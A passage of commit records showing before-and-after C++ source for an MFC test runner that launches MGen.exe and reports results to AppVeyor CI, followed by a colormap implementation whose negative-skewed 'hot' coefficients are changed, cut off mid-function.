: \\\"MGen.exe\\\",\"\n\t\t\" \\\"outcome\\\" : \\\"%s\\\",\"\n\t\t\" \\\"durationMilliseconds\\\" : \\\"%d\\\",\"\n\t\t\" \\\"ErrorMessage\\\" : \\\"%s\\\",\"\n\t\t\" \\\"ErrorStackTrace\\\" : \\\"\\\",\"\n\t\t\" \\\"StdOut\\\" : \\\"\\\",\"\n\t\t\" \\\"StdErr\\\" : \\\"\\\"\"\n\t\t\" }\", tname, cat, tpassed, errors);\n\tif (ci) {\n\t\tHTTPPost(server, port, url + \"api\/tests\", st);\n\t}\n\t*\/\n}\n\nvoid LoadConfig() {\n\tmilliseconds time_start, time_stop;\n\tCString fname = \"autotest\\\\test.txt\";\n\t\/\/ Check file exists\n\tif (!CGLib::fileExists(fname)) {\n\t\tcout << \"Not found file \" << fname << \"\\n\";\n\t}\n\tifstream fs;\n\tfs.open(fname);\n\tLPDWORD ecode = new DWORD;\n\tCString st, st2;\n\tchar pch[2550];\n\tint pos = 0;\n\tint passed;\n\twhile (fs.good()) {\n\t\tfs.getline(pch, 2550);\n\t\tst = pch;\n\t\tpos = st.Find(\"#\");\n\t\tif (pos != -1) st = st.Left(pos);\n\t\tst.Trim();\n\t\tif (st.GetLength()) {\n\t\t\tClearBuffer();\n\t\t\tif (ci) Run(\"appveyor\", \"AddTest \\\"\" + st + \"\\\" -Framework MSTest -FileName MGen.exe -Outcome Running\", 1000);\n\t\t\tLog(\"Starting test config: \" + st + \"\\n\");\n\t\t\t\/\/::ShellExecute(GetDesktopWindow(), \"open\", \"MGen\", \"-test \" + st, NULL, SW_SHOWNORMAL);\n\t\t\tst2 = \"-test \" + st;\n\t\t\tSHELLEXECUTEINFO sei = { 0 };\n\t\t\tsei.cbSize = sizeof(SHELLEXECUTEINFO);\n\t\t\tsei.fMask = SEE_MASK_NOCLOSEPROCESS;\n\t\t\tsei.hwnd = NULL;\n\t\t\tsei.lpVerb = NULL;\n\t\t\tsei.lpFile = \"MGen.exe\";\n\t\t\tsei.lpParameters = st2;\n\t\t\tsei.lpDirectory = NULL;\n\t\t\tsei.nShow = SW_SHOW;\n\t\t\tsei.hInstApp = NULL;\n\t\t\ttime_start = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n\t\t\tShellExecuteEx(&sei);\n\t\t\tif (WaitForSingleObject(sei.hProcess, 60000) == WAIT_TIMEOUT) {\n\t\t\t\tLog(st + \": Timeout waiting for process\\n\", 3);\n\t\t\t\texit(1);\n\t\t\t}\n\n\t\t\ttime_stop = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n\t\t\tpassed = static_cast<int>((time_stop - time_start).count());\n\t\t\tGetExitCodeProcess(sei.hProcess, ecode);\n\t\t\tPublishTest(st, *ecode, passed);\n\t\t}\n\t}\n\tdelete ecode;\n\tfs.close();\n}\n\nint test() {\n\t\/\/full_url = \"http:\/\/my.test.server:882\/some\/path\/script.php?parameters=123\";\n\t\/\/AfxParseURL(full_url, service, server, url, port);\n\t\/\/ci = 1;\n\tif (getenv(\"APPVEYOR_PROJECT_NAME\") != NULL) {\n\t\tci = 1;\n\t\t\/\/if (getenv(\"APPVEYOR_API_URL\") != NULL) full_url = getenv(\"APPVEYOR_API_URL\");\n\t\t\/\/AfxParseURL(full_url, service, server, url, port);\n\t}\n\tlogfile.open(\"autotest\\\\test.log\", ios_base::app);\n\n\tTCHAR buffer[MAX_PATH];\n\tGetCurrentDirectory(MAX_PATH, buffer);\n\tcurrent_dir = string(buffer).c_str();\n\tLog(\"Current dir: \" + current_dir + \"\\n\");\n\n\tLoadConfig();\n\tlogfile.close();\n\t\/\/ Do not pause if continuous integration\n\tif (!ci) {\n\t\tcout << \"Press any key to continue... \";\n\t\t_getch();\n\t}\n\treturn 0;\n}\n\nint main()\n{\n    HMODULE hModule = ::GetModuleHandle(nullptr);\n\n    if (hModule != nullptr)\n    {\n        \/\/ initialize MFC and print and error on failure\n        if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0))\n        {\n            \/\/ TODO: change error code to suit your needs\n            wprintf(L\"Fatal Error: MFC initialization failed\\n\");\n            nRetCode = 1;\n        }\n        else\n        {\n\t\t\t\t\ttest();\n\t\t\t\t}\n    }\n    else\n    {\n        \/\/ TODO: change error code to suit your needs\n        wprintf(L\"Fatal Error: GetModuleHandle failed\\n\");\n        nRetCode = 1;\n    }\n\n    return nRetCode;\n}\n<commit_msg>MGenTest: Send  -ErrorStackTrace in separate run<commit_after>\/\/ MGenTest.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include \"MGenTest.h\"\n#include \"..\/MGen\/GLibrary\/GLib.h\"\n\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#endif\n\n\/\/ The one and only application object\n\nCWinApp theApp;\n\nusing namespace std;\n\nCString current_dir, full_url, server, url;\nDWORD service;\nWORD port;\nofstream logfile;\nint ci = 0;\nint nRetCode = 0;\n\n\/*\nstring url_encode(const string &value) {\n\tostringstream escaped;\n\tescaped.fill('0');\n\tescaped << hex;\n\n\tfor (string::const_iterator i = value.begin(), n = value.end(); i != n; ++i) {\n\t\tstring::value_type c = (*i);\n\n\t\t\/\/ Keep alphanumeric and other accepted characters intact\n\t\tif (isalnum(c) || c == '-' || c == '_' || c == '.' || c == '~') {\n\t\t\tescaped << c;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Any other characters are percent-encoded\n\t\tescaped << uppercase;\n\t\tescaped << '%' << setw(2) << int((unsigned char)c);\n\t\tescaped << nouppercase;\n\t}\n\n\treturn escaped.str();\n}\n\nvoid HTTPPost(CString server, WORD port, CString url, CString data) {\n\tcout << \"HTTPPost to server \" << server << \" port \" << port << \" url \" << url << \" : \" << data << \"\\n\";\n\tCString strHeaders = \"Content-Type: application\/x-www-form-urlencoded\";\n\ttry {\n\t\tchar szBuf [2550];\n\t\tDWORD dwRet;\n\t\tCInternetSession session;\n\t\tCHttpConnection* pConnection = session.GetHttpConnection(server, port);\n\t\tCHttpFile* pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, url);\n\t\tpFile->AddRequestHeaders(strHeaders);\n\t\tdata = url_encode(data.GetBuffer()).c_str();\n\t\tcout << \"HTTPPost to server \" << server << \" port \" << port << \" url \" << url << \" : \" << data << \"\\n\";\n\t\tpFile->SendRequestEx(data.GetLength());\n\t\tpFile->Write(data, data.GetLength());\n\t\t\/\/BOOL result = pFile->SendRequest(strHeaders, (LPVOID)(LPCTSTR)data, data.GetLength());\n\t\tpFile->QueryInfoStatusCode(dwRet);\n\t\tcout << \"HTTP return code: \" << dwRet << \"\\n\";\n\t\tif (dwRet == HTTP_STATUS_OK) {\n\t\t\tUINT nRead = pFile->Read(szBuf, 2550);\n\t\t\tif (nRead > 0) {\n\t\t\t\tcout << \"HTTP result: \" << szBuf << \"\\n\";\n\t\t\t}\n\t\t}\t\n\t}\n\tcatch (CInternetException *e) {\n\t\t\/\/e->ReportError();\n\t\tTCHAR   szCause[2550];\n\t\te->GetErrorMessage(szCause, 2550);\n\t\tcout << \"Error when sending HTTP request: \" << szCause << \"\\n\";\n\t\te->Delete();\n\t}\n}\n*\/\n\nvoid Run(CString fname, CString par, int delay) {\n\tSHELLEXECUTEINFO sei = { 0 };\n\tsei.cbSize = sizeof(SHELLEXECUTEINFO);\n\tsei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;\n\tsei.hwnd = NULL;\n\tsei.lpVerb = NULL;\n\tsei.lpFile = fname;\n\tsei.lpParameters = par;\n\tsei.lpDirectory = NULL;\n\tsei.nShow = SW_SHOWNORMAL;\n\tsei.hInstApp = NULL;\n\tShellExecuteEx(&sei);\n\tWaitForSingleObject(sei.hProcess, delay);\n}\n\nvoid Log(CString st, int level = 0) {\n\tcout << st;\n\tlogfile << st;\n\tif (ci && level > 0) {\n\t\tCString cat;\n\t\tif (level == 1) cat = \"Information\";\n\t\tif (level == 2) cat = \"Warning\";\n\t\tif (level == 3) cat = \"Error\";\n\t\tCString par = \"AddMessage \\\"\" + st + \"\\\" -Category \" + cat;\n\t\tRun(\"appveyor\", par, 1000);\n\t}\n}\n\nCString file(CString fname) {\n\tCString st, st2;\n\tifstream fs;\n\t\/\/ Check file exists\n\tif (!CGLib::fileExists(fname)) {\n\t\tcout << \"Not found file \" << fname << \"\\n\";\n\t}\n\tfs.open(fname);\n\tchar pch[2550];\n\twhile (fs.good()) {\n\t\t\/\/ Get line\n\t\tfs.getline(pch, 2550);\n\t\tst2 = pch;\n\t\tif (st2 != \"\") {\n\t\t\tst += \"- \" + st2 + \"\\n\";\n\t\t}\n\t}\n\tfs.close();\n\treturn st;\n}\n\nvoid ClearBuffer() {\n\tfstream fs;\n\tfs.open(\"autotest\\\\buffer.log\", ios::out);\n\tfs.close();\n}\n\nvoid PublishTest(CString tname, int result, int tpassed) {\n\tCString st;\n\tCString st2;\n\tst2.Format(\"%s: code %d in %d ms\\n\", tname, result, tpassed);\n\tif (result) {\n\t\tnRetCode = 2;\n\t\tLog(st2, 3);\n\t}\n\telse {\n\t\tLog(st2, 1);\n\t}\n\n\t\/\/ Show errors\n\tCString errors = file(\"autotest\/buffer.log\");\n\tcout << errors;\n\n\tif (ci) {\n\t\t\/\/errors.Replace(\"\\n- \", \"\\\\n \");\n\t\tCString cat = \"Passed\";\n\t\tif (result) cat = \"Failed\";\n\t\tst.Format(\"UpdateTest \\\"%s\\\" -Framework MSTest -FileName MGen.exe -Duration %d -Outcome %s -ErrorMessage \\\"%d. %s\\\"\", tname, tpassed, cat, result, errors, errors);\n\t\tRun(\"appveyor\", st, 1000);\n\t\tst.Format(\"UpdateTest \\\"%s\\\" -ErrorStackTrace \\\"%s\\\"\", tname, errors);\n\t\tRun(\"appveyor\", st, 1000);\n\t}\n\n\t\/*\n\t\/\/ Send HTTP\n\tst.Format(\"{\"\n\t\t\" \\\"testName\\\": \\\"%s\\\",\"\n\t\t\" \\\"testFramework\\\" : \\\"MSTest\\\",\"\n\t\t\" \\\"fileName\\\" : \\\"MGen.exe\\\",\"\n\t\t\" \\\"outcome\\\" : \\\"%s\\\",\"\n\t\t\" \\\"durationMilliseconds\\\" : \\\"%d\\\",\"\n\t\t\" \\\"ErrorMessage\\\" : \\\"%s\\\",\"\n\t\t\" \\\"ErrorStackTrace\\\" : \\\"\\\",\"\n\t\t\" \\\"StdOut\\\" : \\\"\\\",\"\n\t\t\" \\\"StdErr\\\" : \\\"\\\"\"\n\t\t\" }\", tname, cat, tpassed, errors);\n\tif (ci) {\n\t\tHTTPPost(server, port, url + \"api\/tests\", st);\n\t}\n\t*\/\n}\n\nvoid LoadConfig() {\n\tmilliseconds time_start, time_stop;\n\tCString fname = \"autotest\\\\test.txt\";\n\t\/\/ Check file exists\n\tif (!CGLib::fileExists(fname)) {\n\t\tcout << \"Not found file \" << fname << \"\\n\";\n\t}\n\tifstream fs;\n\tfs.open(fname);\n\tLPDWORD ecode = new DWORD;\n\tCString st, st2;\n\tchar pch[2550];\n\tint pos = 0;\n\tint passed;\n\twhile (fs.good()) {\n\t\tfs.getline(pch, 2550);\n\t\tst = pch;\n\t\tpos = st.Find(\"#\");\n\t\tif (pos != -1) st = st.Left(pos);\n\t\tst.Trim();\n\t\tif (st.GetLength()) {\n\t\t\tClearBuffer();\n\t\t\tif (ci) Run(\"appveyor\", \"AddTest \\\"\" + st + \"\\\" -Framework MSTest -FileName MGen.exe -Outcome Running\", 1000);\n\t\t\tLog(\"Starting test config: \" + st + \"\\n\");\n\t\t\t\/\/::ShellExecute(GetDesktopWindow(), \"open\", \"MGen\", \"-test \" + st, NULL, SW_SHOWNORMAL);\n\t\t\tst2 = \"-test \" + st;\n\t\t\tSHELLEXECUTEINFO sei = { 0 };\n\t\t\tsei.cbSize = sizeof(SHELLEXECUTEINFO);\n\t\t\tsei.fMask = SEE_MASK_NOCLOSEPROCESS;\n\t\t\tsei.hwnd = NULL;\n\t\t\tsei.lpVerb = NULL;\n\t\t\tsei.lpFile = \"MGen.exe\";\n\t\t\tsei.lpParameters = st2;\n\t\t\tsei.lpDirectory = NULL;\n\t\t\tsei.nShow = SW_SHOW;\n\t\t\tsei.hInstApp = NULL;\n\t\t\ttime_start = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n\t\t\tShellExecuteEx(&sei);\n\t\t\tif (WaitForSingleObject(sei.hProcess, 60000) == WAIT_TIMEOUT) {\n\t\t\t\tLog(st + \": Timeout waiting for process\\n\", 3);\n\t\t\t\texit(1);\n\t\t\t}\n\n\t\t\ttime_stop = duration_cast< milliseconds >(system_clock::now().time_since_epoch());\n\t\t\tpassed = static_cast<int>((time_stop - time_start).count());\n\t\t\tGetExitCodeProcess(sei.hProcess, ecode);\n\t\t\tPublishTest(st, *ecode, passed);\n\t\t}\n\t}\n\tdelete ecode;\n\tfs.close();\n}\n\nint test() {\n\t\/\/full_url = \"http:\/\/my.test.server:882\/some\/path\/script.php?parameters=123\";\n\t\/\/AfxParseURL(full_url, service, server, url, port);\n\t\/\/ci = 1;\n\tif (getenv(\"APPVEYOR_PROJECT_NAME\") != NULL) {\n\t\tci = 1;\n\t\t\/\/if (getenv(\"APPVEYOR_API_URL\") != NULL) full_url = getenv(\"APPVEYOR_API_URL\");\n\t\t\/\/AfxParseURL(full_url, service, server, url, port);\n\t}\n\tlogfile.open(\"autotest\\\\test.log\", ios_base::app);\n\n\tTCHAR buffer[MAX_PATH];\n\tGetCurrentDirectory(MAX_PATH, buffer);\n\tcurrent_dir = string(buffer).c_str();\n\tLog(\"Current dir: \" + current_dir + \"\\n\");\n\n\tLoadConfig();\n\tlogfile.close();\n\t\/\/ Do not pause if continuous integration\n\tif (!ci) {\n\t\tcout << \"Press any key to continue... \";\n\t\t_getch();\n\t}\n\treturn 0;\n}\n\nint main()\n{\n    HMODULE hModule = ::GetModuleHandle(nullptr);\n\n    if (hModule != nullptr)\n    {\n        \/\/ initialize MFC and print and error on failure\n        if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0))\n        {\n            \/\/ TODO: change error code to suit your needs\n            wprintf(L\"Fatal Error: MFC initialization failed\\n\");\n            nRetCode = 1;\n        }\n        else\n        {\n\t\t\t\t\ttest();\n\t\t\t\t}\n    }\n    else\n    {\n        \/\/ TODO: change error code to suit your needs\n        wprintf(L\"Fatal Error: GetModuleHandle failed\\n\");\n        nRetCode = 1;\n    }\n\n    return nRetCode;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/=============================================================================================================\n\/**\n* @file     colormap.cpp\n* @author   Christoph Dinh <chdinh@nmr.mgh.harvard.edu>;\n*           Matti Hamalainen <msh@nmr.mgh.harvard.edu>;\n* @version  1.0\n* @date     March, 2013\n*\n* @section  LICENSE\n*\n* Copyright (C) 2013, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n*     * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n*       following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n*       the following disclaimer in the documentation and\/or other materials provided with the distribution.\n*     * Neither the name of the Massachusetts General Hospital nor the names of its contributors may be used\n*       to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MASSACHUSETTS GENERAL HOSPITAL BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief    Implementation of the ColorMap class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"colormap.h\"\n#include <math.h>\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace DISPLIB;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nColorMap::ColorMap()\n{\n}\n\n\n\/\/*************************************************************************************************************\n\nColorMap::~ColorMap()\n{\n}\n\n\n\/\/*************************************************************************************************************\n\ndouble ColorMap::linearSlope(double x, double m, double n)\n{\n    \/\/f = m*x + n\n    return m*x + n;\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ Jet\nint ColorMap::jetR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.375)\n        return 0;\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(linearSlope(x, 4, -1.5)*255);\n    else if(x >= 0.625 && x < 0.875)\n        return (int)floor(1.0*255);\n    else if(x >= 0.875)\n        return (int)floor(linearSlope(x, -4, 4.5)*255);\n    else\n        return 0;\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::jetG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.125)\n        return 0;\n    else if(x >= 0.125 && x < 0.375)\n        return (int)floor(linearSlope(x, 4, -0.5)*255);\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(1.0*255);\n    else if(x >= 0.625 && x < 0.875)\n        return (int)floor(linearSlope(x, -4, 2.5)*255);\n    else\n        return 0;\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::jetB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.125)\n        return (int)floor(linearSlope(x, 4, 0.5)*255);\n    else if(x >= 0.125 && x < 0.375)\n        return (int)floor(1.0*255);\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(linearSlope(x, -4, 2.5)*255);\n    else\n        return 0;\n}\n\n\/\/*************************************************************************************************************\n\/\/ Hot\nint ColorMap::hotR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 2.5621, 0.0392)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.375)\n        return 0;\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 2.6667, -1.0)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.75)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,4,-3)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ Hot negative skewed\nint ColorMap::hotRNeg1(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.2188)\n        return 0;\n    else if(x < 0.5781)\n        return (int)floor(linearSlope(x, 2.7832, -0.6090)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotGNeg1(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.5781)\n        return 0;\n    else if(x >= 0.5781 && x < 0.8125)\n        return (int)floor(linearSlope(x, 4.2662, -2.4663)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotBNeg1(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.8125)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,5.3333,-4.3333)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotRNeg2(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.5625)\n        return 0;\n    else if(x < 0.8438)\n        return (int)floor(linearSlope(x, 2.7832, -0.6090)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotGNeg2(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.8438)\n        return 0;\n    else if(x >= 0.8438 && x < 0.9531)\n        return (int)floor(linearSlope(x, 4.2662, -2.4663)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotBNeg2(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.9531)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,5.3333,-4.3333)*255);\n}\n\n\n\n\/\/*************************************************************************************************************\n\/\/ Bone\nint ColorMap::boneR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 0.8471, 0)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 0.8889, -0.0157)*255);\n    else\n        return (int)floor(linearSlope(x, 1.396, -0.396)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::boneG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 0.8471, 0)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 1.2237, -0.1413)*255);\n    else\n        return (int)floor(linearSlope(x, 0.894, 0.106)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::boneB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 1.1712, 0.0039)*255);\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 0.8889, 0.1098)*255);\n    else\n        return (int)floor(linearSlope(x, 0.8941, 0.1059)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ RedBlue\nint ColorMap::rbR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0)\n        return (int)floor(linearSlope(x, 1, 1)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::rbG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0)\n        return (int)floor(linearSlope(x, 1, 1)*255);\n    else\n        return (int)floor(linearSlope(x, -1, 1)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::rbB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0)\n        return (int)floor(1.0*255);\n    else\n        return (int)floor(linearSlope(x, -1, 1)*255);\n}\n<commit_msg>negative skewed colormap<commit_after>\/\/=============================================================================================================\n\/**\n* @file     colormap.cpp\n* @author   Christoph Dinh <chdinh@nmr.mgh.harvard.edu>;\n*           Matti Hamalainen <msh@nmr.mgh.harvard.edu>;\n* @version  1.0\n* @date     March, 2013\n*\n* @section  LICENSE\n*\n* Copyright (C) 2013, Christoph Dinh and Matti Hamalainen. All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n* the following conditions are met:\n*     * Redistributions of source code must retain the above copyright notice, this list of conditions and the\n*       following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n*       the following disclaimer in the documentation and\/or other materials provided with the distribution.\n*     * Neither the name of the Massachusetts General Hospital nor the names of its contributors may be used\n*       to endorse or promote products derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MASSACHUSETTS GENERAL HOSPITAL BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*\n*\n* @brief    Implementation of the ColorMap class.\n*\n*\/\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ INCLUDES\n\/\/=============================================================================================================\n\n#include \"colormap.h\"\n#include <math.h>\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ USED NAMESPACES\n\/\/=============================================================================================================\n\nusing namespace DISPLIB;\n\n\n\/\/*************************************************************************************************************\n\/\/=============================================================================================================\n\/\/ DEFINE MEMBER METHODS\n\/\/=============================================================================================================\n\nColorMap::ColorMap()\n{\n}\n\n\n\/\/*************************************************************************************************************\n\nColorMap::~ColorMap()\n{\n}\n\n\n\/\/*************************************************************************************************************\n\ndouble ColorMap::linearSlope(double x, double m, double n)\n{\n    \/\/f = m*x + n\n    return m*x + n;\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ Jet\nint ColorMap::jetR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.375)\n        return 0;\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(linearSlope(x, 4, -1.5)*255);\n    else if(x >= 0.625 && x < 0.875)\n        return (int)floor(1.0*255);\n    else if(x >= 0.875)\n        return (int)floor(linearSlope(x, -4, 4.5)*255);\n    else\n        return 0;\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::jetG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.125)\n        return 0;\n    else if(x >= 0.125 && x < 0.375)\n        return (int)floor(linearSlope(x, 4, -0.5)*255);\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(1.0*255);\n    else if(x >= 0.625 && x < 0.875)\n        return (int)floor(linearSlope(x, -4, 2.5)*255);\n    else\n        return 0;\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::jetB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.125)\n        return (int)floor(linearSlope(x, 4, 0.5)*255);\n    else if(x >= 0.125 && x < 0.375)\n        return (int)floor(1.0*255);\n    else if(x >= 0.375 && x < 0.625)\n        return (int)floor(linearSlope(x, -4, 2.5)*255);\n    else\n        return 0;\n}\n\n\/\/*************************************************************************************************************\n\/\/ Hot\nint ColorMap::hotR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.375)\n        return (int)floor(linearSlope(x, 2.5621, 0.0392)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotG(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.375)\n        return 0;\n    else if(x >= 0.375 && x < 0.75)\n        return (int)floor(linearSlope(x, 2.6667, -1.0)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotB(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.75)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,4,-3)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\/\/ Hot negative skewed\nint ColorMap::hotRNeg1(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.2188)\n        return 0;\n    else if(x < 0.5781)\n        return (int)floor(linearSlope(x, 2.7832, -0.6090)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotGNeg1(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.5781)\n        return 0;\n    else if(x >= 0.5781 && x < 0.8125)\n        return (int)floor(linearSlope(x, 4.2662, -2.4663)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotBNeg1(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.8125)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,5.3333,-4.3333)*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotRNeg2(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 0.5625)\n        return 0;\n    else if(x < 0.8438)\n        return (int)floor(linearSlope(x, 3.5549, -1.9996)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotGNeg2(double x)\n{\n    \/\/Describe the green fuzzy set\n    if(x < 0.8438)\n        return 0;\n    else if(x >= 0.8438 && x < 0.9531)\n        return (int)floor(linearSlope(x, 9.1491, -7.72)*255);\n    else\n        return (int)floor(1.0*255);\n}\n\n\n\/\/*************************************************************************************************************\n\nint ColorMap::hotBNeg2(double x)\n{\n    \/\/Describe the blue fuzzy set\n    if(x < 0.9531)\n        return 0;\n    else\n        return (int)floor(linearSlope(x,21.3220,-20.3220)*255);\n}\n\n\n\n\/\/*************************************************************************************************************\n\/\/ Bone\nint ColorMap::boneR(double x)\n{\n    \/\/Describe the red fuzzy set\n    if(x < 